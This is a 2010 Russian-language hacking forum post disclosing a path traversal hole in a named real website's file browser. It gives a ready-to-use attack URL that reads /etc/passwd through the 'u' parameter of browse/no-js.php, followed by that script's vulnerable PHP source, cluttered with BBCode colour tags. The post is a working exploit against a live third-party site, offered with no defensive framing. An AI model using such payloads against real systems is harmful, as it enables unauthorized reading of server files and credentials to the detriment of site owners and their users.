
22.10.2010, 20:27
|
|
Участник форума
Регистрация: 06.01.2010
Сообщений: 136
С нами:
8603287
Репутация:
87
|
|
http://metanohi.org/browse/no-js.php?u=../../../etc/passwd
с лева читалка всех файлов..
уязвимый код: browse/no-js.php
PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][COLOR="#0000BB"]getraw[/COLOR][COLOR="#007700"]();
[/COLOR][COLOR="#0000BB"]$tt[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"\n"[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$path[/COLOR][COLOR="#007700"]= array();
function[/COLOR][COLOR="#0000BB"]add[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$arr[/COLOR][COLOR="#007700"]) {
global[/COLOR][COLOR="#0000BB"]$tt[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$path[/COLOR][COLOR="#007700"];
while ([/COLOR][COLOR="#0000BB"]$c[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]current[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$arr[/COLOR][COLOR="#007700"])) {
[/COLOR][COLOR="#0000BB"]$key[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]key[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$arr[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$carr[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$arr[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]$key[/COLOR][COLOR="#007700"]];
if ([/COLOR][COLOR="#0000BB"]$key[/COLOR][COLOR="#007700"]!=[/COLOR][COLOR="#DD0000"]'*files*'[/COLOR][COLOR="#007700"]) {
[/COLOR][COLOR="#0000BB"]$path[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]sizeof[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$path[/COLOR][COLOR="#007700"])] =[/COLOR][COLOR="#0000BB"]$key[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$tt[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#DD0000"]"[/COLOR][COLOR="#0000BB"]$key[/COLOR][COLOR="#DD0000"]"[/COLOR][COLOR="#007700"];
if ([/COLOR][COLOR="#0000BB"]is_array[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$carr[/COLOR][COLOR="#007700"]))
[/COLOR][COLOR="#0000BB"]add[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$carr[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$files[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$arr[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]$key[/COLOR][COLOR="#007700"]][[/COLOR][COLOR="#DD0000"]'*files*'[/COLOR][COLOR="#007700"]];
if ([/COLOR][COLOR="#0000BB"]is_array[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$files[/COLOR][COLOR="#007700"])) {
[/COLOR][COLOR="#0000BB"]$spath[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]implode[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'/'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$path[/COLOR][COLOR="#007700"]) .[/COLOR][COLOR="#DD0000"]'/'[/COLOR][COLOR="#007700"];
if ([/COLOR][COLOR="#0000BB"]sizeof[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$arr[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]$key[/COLOR][COLOR="#007700"]]) >[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"])
[/COLOR][COLOR="#0000BB"]$tt[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#DD0000"]" "[/COLOR][COLOR="#007700"];
foreach ([/COLOR][COLOR="#0000BB"]$files[/COLOR][COLOR="#007700"]as[/COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"]) {
[/COLOR][COLOR="#0000BB"]$addr[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$spath[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"];
if ([/COLOR][COLOR="#0000BB"]substr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]strlen[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"]) -[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]) !=[/COLOR][COLOR="#DD0000"]'~'[/COLOR][COLOR="#007700"])
[/COLOR][COLOR="#0000BB"]$tt[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#DD0000"]"[/COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#DD0000"]"[/COLOR][COLOR="#007700"];
}
}
[/COLOR][COLOR="#0000BB"]array_splice[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$path[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]sizeof[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$path[/COLOR][COLOR="#007700"]) -[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$tt[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"];
}
[/COLOR][COLOR="#0000BB"]next[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$arr[/COLOR][COLOR="#007700"]);
}
}
[/COLOR][COLOR="#0000BB"]add[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$lr[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$tt[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#DD0000"]" "[/COLOR][COLOR="#007700"];
foreach ([/COLOR][COLOR="#0000BB"]$lr[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'*files*'[/COLOR][COLOR="#007700"]] as[/COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"]) {
if ([/COLOR][COLOR="#0000BB"]substr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]strlen[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"]) -[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]) !=[/COLOR][COLOR="#DD0000"]'~'[/COLOR][COLOR="#007700"])
[/COLOR][COLOR="#0000BB"]$tt[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#DD0000"]"[/COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#DD0000"]"[/COLOR][COLOR="#007700"];
}
[/COLOR][COLOR="#0000BB"]$tt[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"];
}
[/COLOR][COLOR="#0000BB"]$name[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'u'[/COLOR][COLOR="#007700"]];
if (![/COLOR][COLOR="#0000BB"]$name[/COLOR][COLOR="#007700"]) {
[/COLOR][COLOR="#0000BB"]$name[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'vijuv'[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$namet[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'#'[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$nametp[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'#'[/COLOR][COLOR="#007700"];
}
else {
[/COLOR][COLOR="#0000BB"]$namet[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"../[/COLOR][COLOR="#0000BB"]$name[/COLOR][COLOR="#DD0000"]"[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$nametp[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"../:[/COLOR][COLOR="#0000BB"]$name[/COLOR][COLOR="#DD0000"]"[/COLOR][COLOR="#007700"];
}
[/COLOR][COLOR="#0000BB"]$text[/COLOR][COLOR="#007700"]= include([/COLOR][COLOR="#DD0000"]'get.php'[/COLOR][COLOR="#007700"]);
if (![/COLOR][COLOR="#0000BB"]$text[/COLOR][COLOR="#007700"])
[/COLOR][COLOR="#0000BB"]$text[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'Click on a filename in the left pane to show the content of that file.'[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]?>
[/COLOR][/COLOR]
|
|
|